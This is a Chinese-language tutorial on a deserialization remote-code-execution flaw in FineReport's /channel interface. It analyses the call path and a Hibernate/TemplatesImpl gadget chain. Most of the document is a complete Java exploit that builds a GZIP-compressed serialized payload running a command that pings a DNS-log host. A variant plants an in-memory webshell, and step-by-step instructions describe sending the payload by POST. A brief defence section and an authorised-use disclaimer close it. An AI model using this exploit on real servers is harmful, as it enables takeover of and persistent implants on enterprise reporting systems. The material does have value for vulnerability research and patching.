帆软报表 channel 反序列化漏洞分析与利用
字数 2082 2025-08-19 12:41:24
帆软报表 Channel 反序列化漏洞分析与利用教学文档
0x00 漏洞概述
帆软报表(FineReport)是一款企业级报表工具,其/channel接口存在反序列化漏洞,攻击者可通过构造恶意序列化数据实现远程代码执行(RCE)。该漏洞存在于com.fr.decision.extension.report.api.remote.RemoteDesignResource.onMessage方法中,通过GZip压缩的序列化数据处理流程存在安全隐患。
0x01 漏洞分析
漏洞入口点
漏洞触发路径:
/channel -> RemoteDesignResource.onMessage -> WorkContext.handleMessage -> deserializeInvocation
关键处理类:
com.fr.decision.extension.report.api.remote.RemoteDesignResource.onMessage
反序列化流程
-
初始处理:
onMessage方法接收输入数据var1- 对
var1进行包装处理 - 调用
WorkContext.handleMessage进行处理
-
序列化处理链:
WorkspaceServerInvoker.handleMessage调用deserializeInvocationdeserializeInvocation使用GZipSerializerWrapper.wrap方法返回GZipSerializerWrapper对象InvocationSerializer.getDefault()返回InvocationSerializer对象
-
反序列化执行:
- 最终调用
public static Object deserialize(byte[] var0, Serializer var1)方法 - 使用
var1(即GZipSerializerWrapper对象)的deserialize方法处理数据 - 内部调用
InvocationSerializer对象的deserialize方法 - 触发两次
readObject调用
- 最终调用
0x02 利用链分析 (v10.0.10版本)
利用链选择
由于帆软报表内置了类似Shiro的反序列化机制,但有以下限制:
- 内置的
InvokerTransformer未实现Serializable接口 - 没有
PropertyUtils类
因此选择Hibernate链结合TemplatesImpl类,通过触发getOutputProperties方法中的newTransformer()实现任意方法调用。
利用链组成
-
核心组件:
com.fr.third.org.hibernate.type.ComponentTypecom.fr.third.org.hibernate.tuple.component.PojoComponentTuplizercom.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer
-
执行链:
- 通过
TemplatesImpl加载恶意字节码 - 使用Hibernate的Getter机制触发
getOutputProperties - 通过
ComponentType的getHashCode方法触发整个调用链
- 通过
0x03 漏洞利用实现
基础利用POC
public class HibernateExp {
// 设置对象字段值的工具方法
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
// 创建无构造函数的对象实例
public static Object createWithoutConstructor(Class aa) throws Exception {
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Object o = reflectionFactory.newConstructorForSerialization(aa,
Object.class.getDeclaredConstructor()).newInstance();
return o;
}
public static void main(String[] args) throws Exception {
// 加载必要的Hibernate类
Class<?> componentTypeClass = Class.forName("com.fr.third.org.hibernate.type.ComponentType");
Class<?> pojoComponentTuplizerClass = Class.forName("com.fr.third.org.hibernate.tuple.component.PojoComponentTuplizer");
Class<?> abstractComponentTuplizerClass = Class.forName("com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer");
// 构造恶意命令
String cmd = "java.lang.Runtime.getRuntime().exec(\"ping -c 1 xxxx.dnslog.pw\");";
// 动态生成恶意字节码
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = ctClass.toBytecode();
// 配置TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "HibernateExp");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
Method getOutputProperties = TemplatesImpl.class.getDeclaredMethod("getOutputProperties");
Object getter;
try {
// 尝试使用GetterMethodImpl
Class<?> getterImpl = Class.forName("com.fr.third.org.hibernate.property.access.spi.GetterMethodImpl");
Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];
constructor.setAccessible(true);
getter = constructor.newInstance(null, null, getOutputProperties);
} catch (Exception ignored) {
// 回退到BasicGetter
Class<?> basicGetter = Class.forName("com.fr.third.org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
constructor.setAccessible(true);
getter = constructor.newInstance(templates.getClass(), getOutputProperties, "outputProperties");
}
// 配置PojoComponentTuplizer
Object tuplizer = createWithoutConstructor(pojoComponentTuplizerClass);
Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
field.setAccessible(true);
Object getters = Array.newInstance(getter.getClass(), 1);
Array.set(getters, 0, getter);
field.set(tuplizer, getters);
// 配置ComponentType
Object type = createWithoutConstructor(componentTypeClass);
Field field1 = componentTypeClass.getDeclaredField("componentTuplizer");
field1.setAccessible(true);
field1.set(type, tuplizer);
Field field2 = componentTypeClass.getDeclaredField("propertySpan");
field2.setAccessible(true);
field2.set(type, 1);
Field field3 = componentTypeClass.getDeclaredField("propertyTypes");
field3.setAccessible(true);
field3.set(type, new Type[]{(Type) type});
// 创建TypedValue触发点
TypedValue typedValue = new TypedValue((Type) type, null);
// 构造最终Payload
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(typedValue, "aaa");
// 防止put时触发,后设置value
Field valueField = TypedValue.class.getDeclaredField("value");
valueField.setAccessible(true);
valueField.set(typedValue, templates);
// 序列化Payload
byte[] serialize = Serializer.serialize(hashMap);
// 生成GZIP压缩的Payload文件
String fileName = "ser.bin";
FileOutputStream fos = new FileOutputStream(fileName);
GZIPOutputStream gzip = new GZIPOutputStream(fos);
gzip.write(serialize);
gzip.finish();
fos.close();
}
}
内存马利用
将基础POC中的命令执行部分替换为内存马实现:
// 替换cmd部分为内存马
String memshell = "Base64编码的内存马";
ClassPool pool = new ClassPool();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
byte[] bytes = new BASE64Decoder().decodeBuffer(memshell);
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "HibernateExp");
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
// 注意:内存马版本可能不需要_tfactory
0x04 漏洞利用步骤
-
构造恶意类:
- 使用Javassist动态生成继承
AbstractTranslet的恶意类 - 在类初始化块中插入恶意代码或内存马
- 使用Javassist动态生成继承
-
配置TemplatesImpl:
- 设置
_name、_bytecodes等必要字段 - 可选设置
_tfactory(某些环境需要)
- 设置
-
构建Hibernate链:
- 创建
GetterMethodImpl或BasicGetter实例 - 配置
PojoComponentTuplizer和ComponentType - 通过反射设置必要字段
- 创建
-
构造触发HashMap:
- 使用
TypedValue作为Key - 通过反射延迟设置value以避免提前触发
- 使用
-
序列化Payload:
- 使用GZIP压缩序列化数据
- 生成最终的
ser.bin文件
-
发送Payload:
- 将生成的Payload通过
/channel接口发送 - 使用POST请求,Content-Type设置为
application/json
- 将生成的Payload通过
0x05 防御建议
-
临时解决方案:
- 禁用
/channel接口访问 - 配置WAF拦截可疑的反序列化请求
- 禁用
-
长期解决方案:
- 升级到最新版本帆软报表
- 实施反序列化白名单机制
- 使用Java安全管理器限制危险操作
-
检测方法:
- 监控
/channel接口的异常访问 - 检查日志中可疑的序列化数据特征
- 监控
0x06 参考资源
- Hibernate反序列化链研究资料
- Java反序列化漏洞利用技术
- 帆软报表官方安全公告
- ysoserial工具链分析
本教学文档详细分析了帆软报表Channel接口的反序列化漏洞原理、利用链构造方法以及实际利用过程,包括基础命令执行和内存马植入两种利用方式。使用时请遵守相关法律法规,仅用于授权测试和安全研究目的。